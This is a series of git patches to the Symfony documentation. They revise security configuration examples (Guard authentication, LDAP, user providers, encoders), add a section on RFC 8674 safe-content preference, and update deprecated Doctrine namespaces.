 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 70c2d286a66..99bda0b3821 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -131,7 +131,7 @@ csrf_token
     {{ csrf_token(intention) }}
 
 ``intention``
-    **type**: ``string`` - an arbitrary string used to generate the token value.
+    **type**: ``string`` - an arbitrary string used to identify the token value.
 
 Renders a CSRF token. Use this function if you want :doc:`CSRF protection </security/csrf>`
 in a regular HTML form not managed by the Symfony Form component.

From c3fb63355741530b41512614680c1b1da709ade1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <jan.schaedlich@sensiolabs.de>
Date: Sun, 16 Feb 2020 10:27:00 +0100
Subject: [PATCH 0305/7107] Adjusts description of the `csrf_token_id` option

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 5fbadd50a0c..822169bcb0e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -593,7 +593,7 @@ csrf_token_id
 
 **type**: ``string`` **default**: ``'logout'``
 
-An arbitrary string used to generate the token value (and check its validity
+An arbitrary string used to identify the token value (and check its validity
 afterwards).
 
 .. _reference-security-ldap:

From 0a244fd15618b42e9b75ee62f4336166c99e932e Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 16 Feb 2020 12:21:02 +0100
Subject: [PATCH 0306/7107] [Security] Various minor fixes in XML config

---
 security/custom_authentication_provider.rst |  4 +-
 security/entity_provider.rst                |  5 ++-
 security/force_https.rst                    |  4 +-
 security/guard_authentication.rst           | 31 ++++++++-------
 security/json_login_setup.rst               |  4 +-
 security/ldap.rst                           | 44 +++++++++++----------
 security/multiple_guard_authenticators.rst  |  2 +-
 security/multiple_user_providers.rst        |  1 -
 security/remember_me.rst                    |  6 ++-
 security/user_checkers.rst                  |  8 ++--
 10 files changed, 57 insertions(+), 52 deletions(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 9b9b83edc61..391635ec5a8 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -172,7 +172,7 @@ the value returned for the expected WSSE information, creates a token using
 that information, and passes the token on to the authentication manager. If
 the proper information is not provided, or the authentication manager throws
 an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 403 Response is returned.
+a 401 Response is returned.
 
 .. note::
 
@@ -188,7 +188,7 @@ a 403 Response is returned.
 
     Returning prematurely from the listener is relevant only if you want to chain
     authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a nice 403 error, you should set
+    to forbid access to anonymous users and have a 404 error, you should set
     the status code of the response before returning.
 
 The Authentication Provider
diff --git a/security/entity_provider.rst b/security/entity_provider.rst
index 0e3573776e8..a46c00e4877 100644
--- a/security/entity_provider.rst
+++ b/security/entity_provider.rst
@@ -246,9 +246,10 @@ the username and then check the password (more on passwords in a moment):
                 <!-- ... -->
 
                 <provider name="our_db_provider">
-                    <!-- if you're using multiple entity managers, add:
-                         manager-name="customer" -->
                     <entity class="AppBundle:User" property="username"/>
+
+                    <!-- if you're using multiple entity managers
+                    <entity class="AppBundle:User" property="username" manager-name="customer"/> -->
                 </provider>
 
                 <firewall name="main" pattern="^/" provider="our_db_provider">
diff --git a/security/force_https.rst b/security/force_https.rst
index 65d5138ed56..25ed6e079f8 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -33,7 +33,7 @@ to use HTTPS then you could use the following configuration:
                 <config>
                     <!-- ... -->
 
-                    <rule path="^/secure" role="ROLE_ADMIN" requires_channel="https"/>
+                    <rule path="^/secure" role="ROLE_ADMIN" requires-channel="https"/>
                 </config>
             </srv:container>
 
@@ -83,7 +83,7 @@ role:
 
                 <rule path="^/login"
                     role="IS_AUTHENTICATED_ANONYMOUSLY"
-                    requires_channel="https"
+                    requires-channel="https"
                 />
             </config>
         </srv:container>
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 14159a25cc0..7b40f9898aa 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -116,7 +116,7 @@ Next, make sure you've configured a "user provider" for the user:
                 <!-- ... -->
 
                 <provider name="your_db_provider">
-                    <entity class="AppBundle:User"/>
+                    <entity class="AppBundle:User" property="apiKey"/>
                 </provider>
 
                 <!-- ... -->
@@ -133,6 +133,7 @@ Next, make sure you've configured a "user provider" for the user:
                 'your_db_provider' => [
                     'entity' => [
                         'class' => 'AppBundle:User',
+                        'property' => 'apiKey',
                     ],
                 ],
             ],
@@ -187,21 +188,18 @@ This requires you to implement several methods::
          */
         public function getCredentials(Request $request)
         {
-            return [
-                'token' => $request->headers->get('X-AUTH-TOKEN'),
-            ];
+            return $request->headers->get('X-AUTH-TOKEN');
         }
 
         public function getUser($credentials, UserProviderInterface $userProvider)
         {
-            $apiKey = $credentials['token'];
-
-            if (null === $apiKey) {
+            if (null === $credentials) {
+                // The token header was empty, authentication fails with 401
                 return;
             }
 
-            // if a User object, checkCredentials() is called
-            return $userProvider->loadUserByUsername($apiKey);
+            // if a User is returned, checkCredentials() is called
+            return $userProvider->loadUserByUsername($credentials);
         }
 
         public function checkCredentials($credentials, UserInterface $user)
@@ -222,13 +220,14 @@ This requires you to implement several methods::
         public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
         {
             $data = [
+                // you may ant to customize or obfuscate the message first
                 'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
 
                 // or to translate this message
                 // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
             ];
 
-            return new JsonResponse($data, Response::HTTP_FORBIDDEN);
+            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
         }
 
         /**
@@ -303,11 +302,11 @@ Finally, configure your ``firewalls`` key in ``security.yml`` to use this authen
             <config>
                 <!-- ... -->
 
-                <firewall name="main"
-                    pattern="^/"
-                    anonymous="true"
-                >
-                    <logoutOjso/>
+                <!-- if you want, disable storing the user in the session
+                    add 'stateless="true"' to the firewall -->
+                <firewall name="main" pattern="^/">
+                    <anonymous/>
+                    <logout/>
 
                     <guard>
                         <authenticator>AppBundle\Security\TokenAuthenticator</authenticator>
@@ -336,6 +335,8 @@ Finally, configure your ``firewalls`` key in ``security.yml`` to use this authen
                             TokenAuthenticator::class,
                         ],
                     ],
+                    // if you want, disable storing the user in the session
+                    // 'stateless' => true,
                     // ...
                 ],
             ],
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index e5945671058..b62f07c1d6e 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -184,8 +184,8 @@ The security configuration should be:
                 <firewall name="main">
                     <anonymous/>
                     <json-login check-path="login"
-                                username-path="security.credentials.login"
-                                password-path="security.credentials.password"/>
+                        username-path="security.credentials.login"
+                        password-path="security.credentials.password"/>
                 </firewall>
             </config>
         </srv:container>
diff --git a/security/ldap.rst b/security/ldap.rst
index 2b73e3a9f3b..35e82dcced3 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -152,20 +152,19 @@ use the ``ldap`` user provider.
 
             <config>
                 <provider name="my_ldap">
-                    <ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            base-dn="dc=example,dc=com"
-                            search-dn="cn=read-only-admin,dc=example,dc=com"
-                            search-password="password"
-                            default-roles="ROLE_USER"
-                            uid-key="uid"
-                    />
+                    <ldap service="Symfony\Component\Ldap\Ldap"
+                        base-dn="dc=example,dc=com"
+                        search-dn="cn=read-only-admin,dc=example,dc=com"
+                        search-password="password"
+                        default-roles="ROLE_USER"
+                        uid-key="uid"/>
                 </provider>
             </config>
         </srv:container>
 
     .. code-block:: php
 
+        // app/config/security.php
         use Symfony\Component\Ldap\Ldap;
 
         $container->loadFromExtension('security', [
@@ -358,15 +357,15 @@ Configuration example for form login
 
             <config>
                 <firewall name="main">
-                    <form-login-ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            dn-string="uid={username},dc=example,dc=com"/>
+                    <form-login-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="uid={username},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
 
     .. code-block:: php
 
+        // app/config/security.php
         use Symfony\Component\Ldap\Ldap;
 
         $container->loadFromExtension('security', [
@@ -394,9 +393,8 @@ Configuration example for HTTP Basic
 
             firewalls:
                 main:
-                    # ...
+                    stateless: true
                     http_basic_ldap:
-                        # ...
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'uid={username},dc=example,dc=com'
 
@@ -411,23 +409,28 @@ Configuration example for HTTP Basic
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
+                <!-- ... -->
+
                 <firewall name="main" stateless="true">
-                    <http-basic-ldap service="Symfony\Component\Ldap\Ldap" dn-string="uid={username},dc=example,dc=com"/>
+                    <http-basic-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="uid={username},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
 
     .. code-block:: php
 
+        // app/config/security.php
         use Symfony\Component\Ldap\Ldap;
 
         $container->loadFromExtension('security', [
+            // ...
+
             'firewalls' => [
                 'main' => [
                     'http_basic_ldap' => [
                         'service' => Ldap::class,
                         'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
                     ],
                     'stateless' => true,
                 ],
@@ -449,7 +452,6 @@ Configuration example for form login and query_string
                 main:
                     # ...
                     form_login_ldap:
-                        # ...
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'dc=example,dc=com'
                         query_string: '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
@@ -466,10 +468,10 @@ Configuration example for form login and query_string
 
             <config>
                 <firewall name="main">
-                    <form-login-ldap
-                            service="Symfony\Component\Ldap\Ldap"
-                            dn-string="dc=example,dc=com"
-                            query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"/>
+                    <!-- ... -->
+                    <form-login-ldap service="Symfony\Component\Ldap\Ldap"
+                        dn-string="dc=example,dc=com"
+                        query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"/>
                 </firewall>
             </config>
         </srv:container>
@@ -482,11 +484,11 @@ Configuration example for form login and query_string
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
+                    // ...
                     'form_login_ldap' => [
                         'service' => Ldap::class,
                         'dn_string' => 'dc=example,dc=com',
                         'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
-                        // ...
                     ],
                 ],
             ]
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 08486591eb5..b9f7622db17 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -68,7 +68,7 @@ This is how your security configuration can look in action:
                 'default' => [
                     'anonymous' => null,
                     'guard' => [
-                        'entry_point' => '',
+                        'entry_point' => LoginFormAuthenticator::class,
                         'authenticators' => [
                             LoginFormAuthenticator::class,
                             FacebookConnectAuthenticator::class,
diff --git a/security/multiple_user_providers.rst b/security/multiple_user_providers.rst
index f228d0839a1..56ecaee6976 100644
--- a/security/multiple_user_providers.rst
+++ b/security/multiple_user_providers.rst
@@ -149,7 +149,6 @@ the first provider is always used:
                     'pattern' => '^/',
                     'provider' => 'user_db',
                     'http_basic' => [
-                        // ...
                         'realm' => 'Secured Demo Area',
                         'provider' => 'in_memory',
                     ],
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 698b53f4f57..8258e6a2408 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -348,7 +348,7 @@ service you just created:
                     <!-- ... -->
 
                     <remember-me
-                        token_provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
+                        token-provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"
                         />
                 </firewall>
             </config>
@@ -357,6 +357,8 @@ service you just created:
     .. code-block:: php
 
         // app/config/security.php
+        use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
+
         $container->loadFromExtension('security', [
             // ...
 
@@ -365,7 +367,7 @@ service you just created:
                     // ...
                     'remember_me' => [
                         // ...
-                        'token_provider' => 'Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider',
+                        'token_provider' => DoctrineTokenProvider::class,
                     ],
                 ],
             ],
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index e32bc547acd..97f215bac82 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -89,8 +89,9 @@ is the service id of your user checker:
 
             <config>
                 <!-- ... -->
-                <firewall name="main" pattern="^/">
-                    <user-checker>AppBundle\Security\UserChecker</user-checker>
+                <firewall name="main"
+                        pattern="^/"
+                        user-checker="AppBundle\Security\UserChecker">
                     <!-- ... -->
                 </firewall>
             </config>
@@ -99,11 +100,10 @@ is the service id of your user checker:
     .. code-block:: php
 
         // app/config/security.php
-
-        // ...
         use AppBundle\Security\UserChecker;
 
         $container->loadFromExtension('security', [
+            // ...
             'firewalls' => [
                 'main' => [
                     'pattern' => '^/',

From bdccc330fd6adda34ec46fcee83438797382f14f Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 15 Feb 2020 10:05:49 +0100
Subject: [PATCH 0307/7107] [Security] renamed memory provider

---
 security.rst                         | 117 ++++++++++++++++++++++-----
 security/multiple_user_providers.rst |  48 +++++------
 2 files changed, 122 insertions(+), 43 deletions(-)

diff --git a/security.rst b/security.rst
index 9b75df1e8e5..c5c5e4fbcb8 100644
--- a/security.rst
+++ b/security.rst
@@ -45,7 +45,7 @@ configuration looks like this:
         # app/config/security.yml
         security:
             providers:
-                in_memory:
+                users_in_memory:
                     memory: ~
 
             firewalls:
@@ -55,6 +55,7 @@ configuration looks like this:
 
                 main:
                     anonymous: ~
+                    provider: users_in_memory
 
     .. code-block:: xml
 
@@ -67,7 +68,7 @@ configuration looks like this:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
-                <provider name="in_memory">
+                <provider name="users_in_memory">
                     <memory/>
                 </provider>
 
@@ -77,6 +78,7 @@ configuration looks like this:
 
                 <firewall name="main">
                     <anonymous/>
+                    <provider>users_in_memory</provider>
                 </firewall>
             </config>
         </srv:container>
@@ -86,7 +88,7 @@ configuration looks like this:
         // app/config/security.php
         $container->loadFromExtension('security', [
             'providers' => [
-                'in_memory' => [
+                'users_in_memory' => [
                     'memory' => null,
                 ],
             ],
@@ -97,6 +99,7 @@ configuration looks like this:
                 ],
                 'main' => [
                     'anonymous' => null,
+                    'provider' => 'users_in_memory'
                 ],
             ],
         ]);
@@ -315,7 +318,7 @@ provider, but it's better to think of it as an "in configuration" provider:
         # app/config/security.yml
         security:
             providers:
-                in_memory:
+                users_in_memory:
                     memory:
                         users:
                             ryan:
@@ -324,7 +327,11 @@ provider, but it's better to think of it as an "in configuration" provider:
                             admin:
                                 password: kitten
                                 roles: 'ROLE_ADMIN'
-            # ...
+
+            firewalls:
+                main:
+                    provider: users_in_memory
+                    # ...
 
     .. code-block:: xml
 
@@ -337,13 +344,16 @@ provider, but it's better to think of it as an "in configuration" provider:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
-                <provider name="in_memory">
+                <provider name="users_in_memory">
                     <memory>
                         <user name="ryan" password="ryanpass" roles="ROLE_USER"/>
                         <user name="admin" password="kitten" roles="ROLE_ADMIN"/>
                     </memory>
                 </provider>
-                <!-- ... -->
+                <firewall name="main">
+                    <provider>users_in_memory</provider>
+                    <!-- ... -->
+                </firewall>
             </config>
         </srv:container>
 
@@ -352,7 +362,7 @@ provider, but it's better to think of it as an "in configuration" provider:
         // app/config/security.php
         $container->loadFromExtension('security', [
             'providers' => [
-                'in_memory' => [
+                'users_in_memory' => [
                     'memory' => [
                         'users' => [
                             'ryan' => [
@@ -367,13 +377,17 @@ provider, but it's better to think of it as an "in configuration" provider:
                     ],
                 ],
             ],
-            // ...
+            'firewalls' => [
+                'main' => [
+                    'provider' => 'users_in_memory',
+                ],
+            ],
         ]);
 
 Like with ``firewalls``, you can have multiple ``providers``, but you'll
-probably only need one. If you *do* have multiple, you can configure which
+probably only need one. If you *do* have multiple, you have to configure which
 *one* provider to use for your firewall under its ``provider`` key (e.g.
-``provider: in_memory``).
+``provider: users_in_memory``).
 
 .. seealso::
 
@@ -421,20 +435,22 @@ To fix this, add an ``encoders`` key:
     .. code-block:: php
 
         // app/config/security.php
+        use Symfony\Component\Security\Core\User\User;
+
         $container->loadFromExtension('security', [
             // ...
 
             'encoders' => [
-                'Symfony\Component\Security\Core\User\User' => 'plaintext',
+                User::class => 'plaintext',
             ],
             // ...
         ]);
 
-User providers load user information and put it into a ``User`` object. If
-you :doc:`load users from the database </security/entity_provider>`
+User providers load user information and put it into a :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
+implementation. If you :doc:`load users from the database </security/entity_provider>`
 or :doc:`some other source </security/custom_provider>`, you'll
-use your own custom User class. But when you use the "in memory" provider,
-it gives you a ``Symfony\Component\Security\Core\User\User`` object.
+use your own custom User class. But when you use the "in memory" provider type,
+it gives you a :class:`Symfony\\Component\\Security\\Core\\User\\User` object.
 
 Whatever your User class is, you need to tell Symfony what algorithm was
 used to encode the passwords. In this case, the passwords are just plaintext,
@@ -449,6 +465,67 @@ you who you are and what roles you have:
 Because this URL requires ``ROLE_ADMIN``, if you had logged in as ``ryan``,
 this would deny you access. More on that later (:ref:`security-authorization-access-control`).
 
+.. tip::
+
+    If you have many providers and want to define the same encoder for all of
+    them, you can configure as follow:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # app/config/security.yml
+            security:
+                encoders:
+                    Symfony\Component\Security\Core\User\UserInterface: bcrypt
+
+                    # is equivalent to:
+                    AppBundle\Entity\User: bcrypt
+                    Symfony\Component\Security\Core\User\User: bcrypt
+                    # and any other type you may add in the future
+                # ...
+
+        .. code-block:: xml
+
+            <!-- app/config/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <config>
+                    <encoder class="Symfony\Component\Security\Core\User\UserInterface"
+                        algorithm="bcrypt"/>
+                    <!-- is equivalent to: -->
+                    <encoder class="AppBundle\Entity\User"
+                        algorithm="bcrypt"/>
+                    <encoder class="Symfony\Component\Security\Core\User\User"
+                        algorithm="bcrypt"/>
+                    <!-- and any other type you may add in the future -->
+
+                    <!-- ... -->
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // app/config/security.php
+            use Symfony\Component\Security\Core\User\UserInterface;
+
+            $container->loadFromExtension('security', [
+                'encoders' => [
+                    UserInterface::class => 'bcrypt',
+
+                    // is equivalent to:
+                    AppBundle\Entity\User::class => 'bcrypt',
+                    Symfony\Component\Security\Core\User\User::class => 'bcrypt',
+                    // and any other type you may add in the future
+                ],
+                // ...
+            ]);
+
 Loading Users from the Database
 ...............................
 
@@ -502,11 +579,13 @@ is ``bcrypt``:
     .. code-block:: php
 
         // app/config/security.php
+        use Symfony\Component\Security\Core\User\User;
+
         $container->loadFromExtension('security', [
             // ...
 
             'encoders' => [
-                'Symfony\Component\Security\Core\User\User' => [
+                User::class => [
                     'algorithm' => 'bcrypt',
                     'cost' => 12,
                 ]
@@ -532,7 +611,7 @@ It will give you something like this:
             # ...
 
             providers:
-                in_memory:
+                users_in_memory:
                     memory:
                         users:
                             ryan:
@@ -571,7 +650,7 @@ It will give you something like this:
             // ...
 
             'providers' => [
-                'in_memory' => [
+                'users_in_memory' => [
                     'memory' => [
                         'users' => [
                             'ryan' => [
diff --git a/security/multiple_user_providers.rst b/security/multiple_user_providers.rst
index f228d0839a1..1331e3bd5d7 100644
--- a/security/multiple_user_providers.rst
+++ b/security/multiple_user_providers.rst
@@ -20,14 +20,14 @@ a new provider that chains the two together:
         # app/config/security.yml
         security:
             providers:
-                chain_provider:
+                users:
                     chain:
-                        providers: [in_memory, user_db]
-                in_memory:
+                        providers: [users_in_memory, users_in_db]
+                users_in_memory:
                     memory:
                         users:
                             foo: { password: test }
-                user_db:
+                users_in_db:
                     entity: { class: AppBundle\Entity\User, property: username }
 
     .. code-block:: xml
@@ -41,20 +41,20 @@ a new provider that chains the two together:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
-                <provider name="chain_provider">
+                <provider name="users">
                     <chain>
-                        <provider>in_memory</provider>
-                        <provider>user_db</provider>
+                        <provider>users_in_memory</provider>
+                        <provider>users_in_db</provider>
                     </chain>
                 </provider>
 
-                <provider name="in_memory">
+                <provider name="users_in_memory">
                     <memory>
                         <user name="foo" password="test"/>
                     </memory>
                 </provider>
 
-                <provider name="user_db">
+                <provider name="users_in_db">
                     <entity class="AppBundle\Entity\User" property="username"/>
                 </provider>
             </config>
@@ -67,19 +67,19 @@ a new provider that chains the two together:
 
         $container->loadFromExtension('security', [
             'providers' => [
-                'chain_provider' => [
+                'users' => [
                     'chain' => [
                         'providers' => ['in_memory', 'user_db'],
                     ],
                 ],
-                'in_memory' => [
+                'users_in_memory' => [
                     'memory' => [
                         'users' => [
                             'foo' => ['password' => 'test'],
                         ],
                     ],
                 ],
-                'user_db' => [
+                'users_in_db' => [
                     'entity' => [
                         'class'    => User::class,
                         'property' => 'username',
@@ -88,14 +88,14 @@ a new provider that chains the two together:
             ],
         ]);
 
-Now, all firewalls that explicitly define ``chain_provider`` as their user
-provider will, in turn, try to load the user from both the ``in_memory`` and
-``user_db`` providers.
+Now, all firewalls that explicitly define ``users`` as their user
+provider will, in turn, try to load the user from both the ``users_in_memory`` then
+``users_in_db`` providers.
 
 .. deprecated:: 3.4
 
     In previous Symfony versions, firewalls that didn't define their user provider
-    explicitly, used the first existing provider (``chain_provider`` in this
+    explicitly, used the first existing provider (``users`` in this
     example). However, auto-selecting the first user provider has been deprecated
     in Symfony 3.4 and will throw an exception in 4.0. Always define the provider
     used by the firewall when there are multiple providers.
@@ -114,10 +114,10 @@ the first provider is always used:
                 secured_area:
                     # ...
                     pattern: ^/
-                    provider: user_db
+                    provider: users_in_db
                     http_basic:
                         realm: 'Secured Demo Area'
-                        provider: in_memory
+                        provider: users_in_memory
                     form_login: ~
 
     .. code-block:: xml
@@ -131,9 +131,9 @@ the first provider is always used:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <config>
-                <firewall name="secured_area" pattern="^/" provider="user_db">
+                <firewall name="secured_area" pattern="^/" provider="users_in_db">
                     <!-- ... -->
-                    <http-basic realm="Secured Demo Area" provider="in_memory"/>
+                    <http-basic realm="Secured Demo Area" provider="users_in_memory"/>
                     <form-login/>
                 </firewall>
             </config>
@@ -147,11 +147,11 @@ the first provider is always used:
                 'secured_area' => [
                     // ...
                     'pattern' => '^/',
-                    'provider' => 'user_db',
+                    'provider' => 'users_in_db',
                     'http_basic' => [
                         // ...
                         'realm' => 'Secured Demo Area',
-                        'provider' => 'in_memory',
+                        'provider' => 'users_in_memory',
                     ],
                     'form_login' => [],
                 ],
@@ -159,8 +159,8 @@ the first provider is always used:
         ]);
 
 In this example, if a user tries to log in via HTTP authentication, the authentication
-system will use the ``in_memory`` user provider. But if the user tries to
-log in via the form login, the ``user_db`` provider will be used (since it's
+system will use the ``users_in_memory`` user provider. But if the user tries to
+log in via the form login, the ``users_in_db`` provider will be used (since it's
 the default for the firewall as a whole).
 
 If you need to check that the user being returned by  your provider is a allowed

From 54d06f5e11c2cabf05d41e108cffa36be203b9f9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lo=C3=AFck=20Piera?= <pyrech@gmail.com>
Date: Mon, 17 Feb 2020 00:06:04 +0100
Subject: [PATCH 0308/7107] Add documentation for RFC 8674 support

---
 components/http_foundation.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 08e0011fcca..90fa91efdbc 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -706,6 +706,31 @@ Session
 
 The session information is in its own document: :doc:`/components/http_foundation/sessions`.
 
+Safe content preference - RFC 8674
+----------------------------------
+
+`RFC 8674`_ (not yet an IETF standard) defines a way for user agents to ask for "safe"
+content to a server. Symfony offers 2 methods to interact with this preference:
+
+* :method:`Symfony\\Component\\HttpFoundation\\Request::preferSafeContent`;
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setContentSafe`;
+
+When the user agent prefers "safe" content, you can detect it and send it a more appropriate
+reponse::
+
+    if ($request->preferSafeContent()) {
+        $response = new Response($alternativeContent);
+        $response->setContentSafe(); // Inform the user we respected their preferences
+ 
+        return $response;
+    }
+
+.. note::
+
+   The RFC 8674 does not define a precise semantic for "safe". Rather, the term is interpreted
+   by the server and within the scope of each web site that chooses to act upon this information.
+
+
 Learn More
 ----------
 
@@ -723,3 +748,4 @@ Learn More
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: http://haacked.com/archive/2009/06/25/json-hijacking.aspx
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
+.. _RFC 8674: https://tools.ietf.org/html/rfc8674

From a10dab6deeb04f4970b120febf5436b102bdb3c5 Mon Sep 17 00:00:00 2001
From: Tom Van Looy <tom@ctors.net>
Date: Sat, 15 Feb 2020 22:20:03 +0100
Subject: [PATCH 0309/7107] Replace deprecated ObjectManager

---
 doctrine/event_listeners_subscribers.rst | 4 ++--
 doctrine/mapping_model_classes.rst       | 2 +-
 form/data_transformers.rst               | 1 -
 form/unit_testing.rst                    | 2 +-
 reference/forms/types/entity.rst         | 2 +-
 service_container/parent_services.rst    | 2 +-
 testing/database.rst                     | 6 +++---
 7 files changed, 9 insertions(+), 10 deletions(-)

diff --git a/doctrine/event_listeners_subscribers.rst b/doctrine/event_listeners_subscribers.rst
index 0c26abeec81..d031443ba9c 100644
--- a/doctrine/event_listeners_subscribers.rst
+++ b/doctrine/event_listeners_subscribers.rst
@@ -105,7 +105,7 @@ a ``postPersist()`` method, which will be called when the event is dispatched::
 
     use AppBundle\Entity\Product;
     // for Doctrine < 2.4: use Doctrine\ORM\Event\LifecycleEventArgs;
-    use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class SearchIndexer
     {
@@ -151,8 +151,8 @@ interface and have an event method for each event it subscribes to::
     use AppBundle\Entity\Product;
     use Doctrine\Common\EventSubscriber;
     // for Doctrine < 2.4: use Doctrine\ORM\Event\LifecycleEventArgs;
-    use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
     use Doctrine\ORM\Events;
+    use Doctrine\Persistence\Event\LifecycleEventArgs;
 
     class SearchIndexerSubscriber implements EventSubscriber
     {
diff --git a/doctrine/mapping_model_classes.rst b/doctrine/mapping_model_classes.rst
index 792217246e5..5f2715a8c77 100644
--- a/doctrine/mapping_model_classes.rst
+++ b/doctrine/mapping_model_classes.rst
@@ -116,8 +116,8 @@ Annotations, XML, Yaml, PHP and StaticPHP. The arguments are:
     instead of the ``SymfonyFileLocator``::
 
         use AppBundle\Model;
-        use Doctrine\Common\Persistence\Mapping\Driver\DefaultFileLocator;
         use Doctrine\ORM\Mapping\Driver\XmlDriver;
+        use Doctrine\Persistence\Mapping\Driver\DefaultFileLocator;
 
         // ...
         private function buildMappingCompilerPass()
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 5ad3d017739..a974993eb15 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -342,7 +342,6 @@ First, create the custom field type class::
     namespace AppBundle\Form;
 
     use AppBundle\Form\DataTransformer\IssueToNumberTransformer;
-    use Doctrine\Common\Persistence\ObjectManager;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index aa9966cda3e..c09cb2a9a0c 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -135,7 +135,7 @@ make sure the ``FormRegistry`` uses the created instance::
     namespace Tests\AppBundle\Form\Type;
 
     use AppBundle\Form\Type\TestedType;
-    use Doctrine\Common\Persistence\ObjectManager;
+    use Doctrine\Persistence\ObjectManager;
     use Symfony\Component\Form\PreloadedExtension;
     use Symfony\Component\Form\Test\TypeTestCase;
     // ...
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 4a731354ff9..59145cc4602 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -193,7 +193,7 @@ or the short alias name (as shown prior).
 ``em``
 ~~~~~~
 
-**type**: ``string`` | ``Doctrine\Common\Persistence\ObjectManager`` **default**: the default entity manager
+**type**: ``string`` | ``Doctrine\Persistence\ObjectManager`` **default**: the default entity manager
 
 If specified, this entity manager will be used to load the choices
 instead of the ``default`` entity manager.
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 31fd839a807..f5002eb90bf 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -12,7 +12,7 @@ you may have multiple repository classes which need the
     // src/AppBundle/Repository/BaseDoctrineRepository.php
